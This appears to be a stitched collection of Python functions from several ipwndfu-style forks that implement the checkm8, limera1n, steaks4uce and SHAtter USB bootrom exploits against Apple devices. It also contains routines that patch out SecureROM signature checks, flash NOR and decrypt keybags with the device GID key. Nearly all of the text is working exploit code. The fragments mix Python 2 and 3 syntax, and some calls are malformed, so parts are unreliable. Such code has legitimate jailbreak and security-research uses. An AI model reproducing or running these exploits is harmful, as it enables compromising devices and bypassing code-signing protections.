def command(self, request_data, response_length): assert 0 <= response_length <= USB_READ_LIMIT device = dfu.acquire_device() assert self.serial_number == device.serial_number dfu.send_data(device, '\0' * 16) device.ctrl_transfer(0x21, 1, 0, 0, 0, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) dfu.send_data(device, request_data) # address = 0 # for line in utilities.hex_dump(request_data, address).splitlines(): # print '%x: %s' % (address, line[10:]) # address += 16 # print(request_data) # self.hexdump(0, request_data) # HACK if response_length == 0: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:] else: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring() # print(response) dfu.release_device(device) assert len(response) == response_length return response
def __init__(self): device = dfu.acquire_device() self.identifier = device.serial_number dfu.release_device(device) if 'PWND:[' not in self.identifier: print( 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.' ) sys.exit(1) if 'CPID:8720' in self.identifier: print( 'ERROR: This feature is not supported on iPod Touch (2nd generation).' ) sys.exit(1) self.config = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in self.identifier: self.config = config break if self.config is None: print( 'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.' ) sys.exit(1)
def main(): print "*** SecureROM Signature check remover by Linus Henze ***" device = dfu.acquire_device() print "Found:", device.serial_number if not "PWND:[" in device.serial_number: print "Please enable pwned DFU Mode first." sys.exit(1) if not "PWND:[checkm8]" in device.serial_number: print "Only devices pwned using checkm8 are supported." sys.exit(1) config = exploit_config(device.serial_number) print "Applying patches..." try: pdev = usbexec.PwnedUSBDevice() except usb.core.USBError: print "Patches have already been applied. Exiting." sys.exit(0) for k in config.patches.keys(): pdev.write_memory(k, config.patches[k]) print "Successfully applied patches" print "Resetting device state" print "* This will effectiveley disable pwned DFU Mode" print "* Only the signature patches will remain" # Send abort device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0) # Perform USB reset dfu.usb_reset(device) dfu.release_device(device) print "Device is now ready to accept unsigned images"
def __init__(self): self.config = None self.platform = None device = dfu.acquire_device() self.serial_number = device.serial_number dfu.release_device(device) for dp in device_platform.all_platforms: if self.serial_number.startswith('CPID:%04x CPRV:%02x ' % (dp.cpid, dp.cprv)): self.platform = dp break if self.platform is None: print self.serial_number print 'ERROR: No matching usbexec.platform found for this device.' sys.exit(1) info = self.read_memory(self.image_base() + 0x200, 0x100) for config in configs: if config.match(info): self.config = config break if self.config is None: print info print 'ERROR: No matching usbexec.config found for this image.' sys.exit(1)
def boot_ibss(self): print 'Sending iBSS.' if self.config.cpid != '8920': print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.' sys.exit(1) help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:' help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3' try: f = open('n88ap-iBSS-4.3.5.img3', 'rb') data = f.read() f.close() except: print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.' print help1 print help2 sys.exit(1) if len(data) == 0: print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).' print help1 print help2 sys.exit(1) if hashlib.sha256(data).hexdigest( ) != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61': print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.' print help1 print help2 sys.exit(1) iBSS = image3.Image3(data) decryptediBSS = iBSS.newImage3(decrypted=True) n88ap_iBSS_435_patches = [ (0x14954, 'run\x00'), # patch 'reset' command string to 'run' (0x17654, struct.pack('<I', 0x41000001) ), # patch 'reset' command handler to LOAD_ADDRESS + 1 ] patchediBSS = decryptediBSS[:64] + utilities.apply_patches( decryptediBSS[64:], n88ap_iBSS_435_patches) device = dfu.acquire_device() assert self.identifier == device.serial_number dfu.reset_counters(device) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() assert self.identifier == device.serial_number data = dfu.send_data(device, patchediBSS) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) print 'Waiting for iBSS to enter Recovery Mode.' device = recovery.acquire_device() recovery.release_device(device)
def exploit(): print '*** checkm8 exploit by axi0mX ***' print '*** modified version by Linus Henze ***' print '*** s5l8965x support by Matthew Pierson ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) # Advance buffer offset before triggering the UaF to prevent trashing the heap libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * config.overwrite_offset, 10) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
def command(self, request_data, response_length): assert 0 <= response_length <= USB_READ_LIMIT device = dfu.acquire_device() assert self.serial_number == device.serial_number dfu.send_data(device, b'\0' * 16) device.ctrl_transfer(0x21, 1, 0, 0, 0, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) dfu.send_data(device, request_data) # HACK if response_length == 0: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:] else: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring() dfu.release_device(device) assert len(response) == response_length return response
def exploit(): print '*** checkm8 exploit by axi0mX ***' print '*** s5l8747x (haywire) support by a1exdandy ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) usb_req_leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.8) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
def exploit(): print("*** checkm8 exploit by axi0mX ***") device = dfu.acquire_device() start = time.time() print("Found:"), device.serial_number if 'PWND:[' in device.serial_number: print("Device is already in pwned DFU Mode. Not executing exploit.") return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print("ERROR: Exploit failed. Device did not enter pwned DFU Mode.") sys.exit(1) print("Device is now in pwned DFU Mode.") print("(%0.2f seconds)" % (time.time() - start)) dfu.release_device(device)
def exploit_a8_a9(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return padding = 0x400 + 0x80 + 0x80 overwrite = struct.pack('<32xQQ', 0x180380000, 0) if 'CPID:8000' in device.serial_number or\ 'CPID:8003' in device.serial_number: payload_a8_a9 = payload(0x8003) elif 'CPID:7000' in device.serial_number: payload_a8_a9 = payload(0x7000) stall(device) leak(device) for i in range(40): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding, 10) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) usb_req_leak(device) usb_req_leak(device) usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, overwrite, 100) for i in range(0, len(payload_a8_a9), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload_a8_a9[i:i + 0x800], 100) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
def getInfo(): global serial_number, cpid, bdid dev = dfu.acquire_device() serial_number = dev.serial_number print("Found:" + serial_number) if not "PWND:[" in serial_number: print "Please enable pwned DFU Mode first." exit(4) cpid_m = re.search("CPID:([0-9A-F]{4})", serial_number) if cpid_m == None: print("Could not find CPID in serial") exit(4) cpid = cpid_m.group(1) if bdid == None: bdid_m = re.search("BDID:([0-9A-F][0-9A-F])", serial_number) if bdid_m == None: print("Could not find BDID in serial") exit(4) bdid = bdid_m.group(1) dfu.release_device(dev)
def exploit(): print '*** based on limera1n exploit (heap overflow) by geohot ***' device = dfu.acquire_device() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return chosenConfig = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in device.serial_number: chosenConfig = config break if chosenConfig is None: for config in configs: if 'CPID:%s' % config.cpid in device.serial_number: print 'ERROR: CPID is compatible, but serial number string does not match.' print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' sys.exit(1) print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.' sys.exit(1) dfu.send_data( device, generate_payload(chosenConfig.constants, chosenConfig.exploit_lr)) assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1 limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 10) try: device.ctrl_transfer(0x21, 2, 0, 0, 0, 10) print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.' sys.exit(1) except usb.core.USBError: # OK: This request should have raised USBError. pass dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() failed = 'PWND:[limera1n]' not in device.serial_number dfu.release_device(device) if failed: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.'
def execute(self, cmd, receiveLength): device = dfu.acquire_device() assert self.identifier == device.serial_number dfu.reset_counters(device) dfu.send_data(device, EXEC_MAGIC + cmd) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() assert self.identifier == device.serial_number requiredLength = 0x8 + receiveLength requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800 received = dfu.get_data(device, requiredLength) dfu.release_device(device) (exec_cleared, retval) = struct.unpack('<2I', received[:8]) assert exec_cleared == 0 return (retval, received[8:8 + receiveLength])
def exploit(): print('*** based on steaks4uce exploit (heap overflow) by pod2g ***') device = dfu.acquire_device() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print('Device is already in pwned DFU Mode. Not executing exploit.') return if 'CPID:8720' not in device.serial_number: print( 'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.' ) sys.exit(1) chosenConfig = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in device.serial_number: chosenConfig = config break if chosenConfig is None: print( 'ERROR: CPID is compatible, but serial number string does not match.' ) print( 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' ) sys.exit(1) dfu.reset_counters(device) dfu.send_data(device, generate_shellcode(chosenConfig.constants)) dfu.send_data(device, payload) assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload), 1000)) == len(payload) dfu.release_device(device) time.sleep(0.01) device = dfu.acquire_device() dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() failed = 'PWND:[steaks4uce]' not in device.serial_number dfu.release_device(device) if failed: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') sys.exit(1) print('Device is now in pwned DFU Mode.')
def boot_ibss(self): print('Sending iBSS.' if self.config.cpid != '8920': print('ERROR: Boot iBSS is currently only supported on iPhone 3GS.') sys.exit(1) help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:' help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3' try: f = open('n88ap-iBSS-4.3.5.img3', 'rb') data = f.read() f.close() except: print('ERROR: n88ap-iBSS-4.3.5.img3 is missing.') print (help1) print (help2) sys.exit(1) if len(data) == 0: print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).') print (help1) print (help2) sys.exit(1) if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61': print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.') print help1 print help2 sys.exit(1) iBSS = image3.Image3(data) decryptediBSS = iBSS.newImage3(decrypted=True) n88ap_iBSS_435_patches = [ (0x14954, 'run\x00'), # patch 'reset' command string to 'run' (0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1 ] patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches) device = dfu.acquire_device() assert self.identifier == device.serial_number dfu.reset_counters(device) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() assert self.identifier == device.serial_number data = dfu.send_data(device, patchediBSS) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) print('Waiting for iBSS to enter Recovery Mode.') device = recovery.acquire_device() recovery.release_device(device) def flash_nor(self, nor): self.boot_ibss() print('Sending iBSS payload to flash NOR.') MAX_SHELLCODE_LENGTH = 128 payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read() assert len(payload) <= MAX_SHELLCODE_LENGTH payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor device = recovery.acquire_device() assert 'CPID:8920' in device.serial_number recovery.send_data(device, payload) try: print('Sending run command.' recovery.send_command(device, 'run') except usb.core.USBError: # OK pass #print('Caught USBError; should still work.' recovery.release_device(device) print('If screen is not red, NOR was flashed successfully and device will reboot.') def decrypt_keybag(self, keybag): KEYBAG_LENGTH = 48 assert len(keybag) == KEYBAG_LENGTH KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid try: f = open(KEYBAG_FILENAME, 'rb') data = f.read() f.close() except IOError: data = str() assert len(data) % 2 * KEYBAG_LENGTH == 0 for i in range(0, len(data), 2 * KEYBAG_LENGTH): if keybag == data[i:i+KEYBAG_LENGTH]: return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH] device = PwnedDFUDevice() decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY) f = open(KEYBAG_FILENAME, 'a') f.write(keybag + decrypted_keybag) f.close() return decrypted_keybag
def exploit(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number payload, config = exploit_config(device.serial_number) # payload, config = exploit_config("CPID:8015 CPRV:11 CPFM:03 SCEP:01 BDID:0A ECID:<> IBFL:3C SRTG:[iBoot-3332.0.0.1.23]") # t8015 hexdump(0x18001c000, payload) # return if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return # payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) usb_req_leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 100) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
def exploit(): print('*** checkm8 exploit by axi0mX ***') print("****** stage 1, heap grooming") device = dfu.acquire_device() start = time.time() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print('Device is already in pwned DFU Mode. Not executing exploit.') return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: print("no large leak, hole:%d" % config.hole) stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) print("****** stage 2, usb setup, send 0x800 of 'A', sends no data") device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) #exit(0) time.sleep(0.5) print("****** stage 3, exploit") device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: print("doing leak %d" % config.leak) for i in range(config.leak): usb_req_leak(device) # https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4 # this is the real smash, what's in overwrite # t8010_nop_gadget = 0x10000CC6C """ ROM:000000010000CC6C LDP X29, X30, [SP,#0x10] ; this is the nop gadget? ROM:000000010000CC70 LDP X20, X19, [SP],#0x20 ROM:000000010000CC74 RET """ # t8010_overwrite = b'\0' * 0x580 + struct.pack('<32x2Q', t8010_nop_gadget, 0x1800B0800) # SP = 0x1800B0800? # This overwrites the task struct libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) #return struct.pack('<1024sQ504x2Q496s32x', # 0x400 = t8010_shellcode, # 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + # usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks) # upload the payload, or actually, this is after the pwning happens and this is exec # this is usb_0xA1_2_arm64 and checkm8_arm64 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 50) # this is trigger? dfu.usb_reset(device) dfu.release_device(device) print("****** final check") device = dfu.acquire_device() print("final serial", device.serial_number) if 'PWND:[checkm8]' not in device.serial_number: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') #sys.exit(1) else: print('Device is now in pwned DFU Mode.') print('(%0.2f seconds)' % (time.time() - start)) dfu.release_device(device)
def main(): print "*** SecureROM t8015 sigcheckpath by tihmstar ***" device = dfu.acquire_device() print "Found:", device.serial_number if not "PWND:[" in device.serial_number: print "Please enable pwned DFU Mode first." sys.exit(1) if not "PWND:[checkm8]" in device.serial_number: print "Only devices pwned using checkm8 are supported." sys.exit(1) dfu.release_device(device) device = usbexec.PwnedUSBDevice() #make Level3 Table l3table = "" for addr in range(0x0000000100000000, 0x0000000100100000, PAGE_SIZE): entry = struct.pack("<Q", makePTE_Page_16K(addr)) if addr == REMAP_PAGE: #we are remapping heapcheck page entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE)) elif addr == REMAP_PAGE2: #we are remapping sigcheck page entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE2)) l3table += entry #we write L3 Table here device.write_memory(SRAM_PAGETABLE_PAGE, l3table) #remap heapcheck page to sram device.memcpy(SRAM_REMAP_PAGE, REMAP_PAGE, PAGE_SIZE) #remap sigcheck page to sram device.memcpy(SRAM_REMAP_PAGE2, REMAP_PAGE2, PAGE_SIZE) # patch heap corruption check device.write_memory(0x000000010000db98 - REMAP_PAGE + SRAM_REMAP_PAGE, "\xC0\x03\x5F\xD6") #patch codesigs device.write_memory(0x000000010000624c - REMAP_PAGE2 + SRAM_REMAP_PAGE2, "\x00\x00\x80\xD2") #L2 Table point to L3 device.write_memory( 0x000000018000c400, struct.pack("<Q", makePTE_Table_16K(SRAM_PAGETABLE_PAGE))) #memory barrier device.execute(0, 0x1000004F0) #flush tlb device.execute(0, 0x1000004AC) print("done remapping and patching page") device = dfu.acquire_device() device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0) # Perform USB reset try: dfu.usb_reset(device) dfu.release_device(device) except: pass print "Device is now ready to accept unsigned images"
def exploit(): print('*** checkm8 exploit by axi0mX ***') print('**** STAGE 1 ****') print('Checking for device in DFU mode') device = dfu.acquire_device() start = time.time() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print("Device already PWNed. Exiting.") return print('**** STAGE 2 ****') print("Checking if device is exploitable") payload, config = exploit_config(device.serial_number) print("CPID: %s is exploitable" % hex(config.cpid)) print("Bootloader: [%s]" % config.version) print('**** STAGE 3 ****') print("Leaking...") if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) print('Resetting USB and releasing device') # reset & release device dfu.usb_reset(device) dfu.release_device(device) print('**** STAGE 4 ****') device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) print('**** STAGE 5 ****') device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 50) dfu.usb_reset(device) dfu.release_device(device) print("**** STAGE 6 ****") # check if device pwned device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') sys.exit(1) print('Device is now in pwned DFU Mode.') print('(%0.2f seconds)' % (time.time() - start)) dfu.release_device(device)
def exploit(): print( '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***' ) device = dfu.acquire_device() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print('Device is already in pwned DFU Mode. Not executing exploit.') return if 'CPID:8930' not in device.serial_number: print( 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.' ) sys.exit(1) if 'SRTG:[iBoot-574.4]' not in device.serial_number: print( 'ERROR: CPID is compatible, but serial number string does not match.' ) print( 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' ) sys.exit(1) dfu.reset_counters(device) dfu.get_data(device, 0x40) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() dfu.reset_counters(device) dfu.get_data(device, 0x140) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.send_data(device, generate_payload()) dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() failed = 'PWND:[SHAtter]' not in device.serial_number dfu.release_device(device) if failed: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') sys.exit(1) print('Device is now in pwned DFU Mode.')
import dfu device = dfu.acquire_device() dfu.release_device(device)